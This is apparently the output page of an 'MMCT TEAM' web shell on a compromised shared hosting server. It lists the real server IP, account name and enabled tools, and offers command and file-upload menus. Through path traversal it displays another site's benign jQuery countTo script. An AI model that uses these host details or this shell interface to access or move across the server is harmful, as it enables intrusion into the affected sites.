MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.135.208.189
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/instabus.in/../snackpoint.co.nz/js/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/instabus.in/../snackpoint.co.nz/js/jquery.countTo.min.js
(function(factory){if(typeof define==='function'&&define.amd){define(['jquery'],factory);}else if(typeof exports==='object'){factory(require('jquery'));}else{factory(jQuery);}}(function($){var CountTo=function(element,options){this.$element=$(element);this.options=$.extend({},CountTo.DEFAULTS,this.dataOptions(),options);this.init();};CountTo.DEFAULTS={from:0,to:0,speed:1000,refreshInterval:100,decimals:0,formatter:formatter,onUpdate:null,onComplete:null};CountTo.prototype.init=function(){this.value=this.options.from;this.loops=Math.ceil(this.options.speed/this.options.refreshInterval);this.loopCount=0;this.increment=(this.options.to-this.options.from)/this.loops;};CountTo.prototype.dataOptions=function(){var options={from:this.$element.data('from'),to:this.$element.data('to'),speed:this.$element.data('speed'),refreshInterval:this.$element.data('refresh-interval'),decimals:this.$element.data('decimals')};var keys=Object.keys(options);for(var i in keys){var key=keys[i];if(typeof(options[key])==='undefined'){delete options[key];}}return options;};CountTo.prototype.update=function(){this.value+=this.increment;this.loopCount++;this.render();if(typeof(this.options.onUpdate)=='function'){this.options.onUpdate.call(this.$element,this.value);}if(this.loopCount>=this.loops){clearInterval(this.interval);this.value=this.options.to;if(typeof(this.options.onComplete)=='function'){this.options.onComplete.call(this.$element,this.value);}}};CountTo.prototype.render=function(){var formattedValue=this.options.formatter.call(this.$element,this.value,this.options);this.$element.text(formattedValue);};CountTo.prototype.restart=function(){this.stop();this.init();this.start();};CountTo.prototype.start=function(){this.stop();this.render();this.interval=setInterval(this.update.bind(this),this.options.refreshInterval);};CountTo.prototype.stop=function(){if(this.interval){clearInterval(this.interval);}};CountTo.prototype.toggle=function(){if(this.interval){this.stop();}else{this.start();}};function formatter(value,options){return value.toFixed(options.decimals);}$.fn.countTo=function(option){return this.each(function(){var $this=$(this);var data=$this.data('countTo');var init=!data||typeof(option)==='object';var options=typeof(option)==='object'?option:{};var method=typeof(option)==='string'?option:'start';if(init){if(data)data.stop();$this.data('countTo',data=new CountTo(this,options));}data[method].call(data);});};}));

MMCT - 2023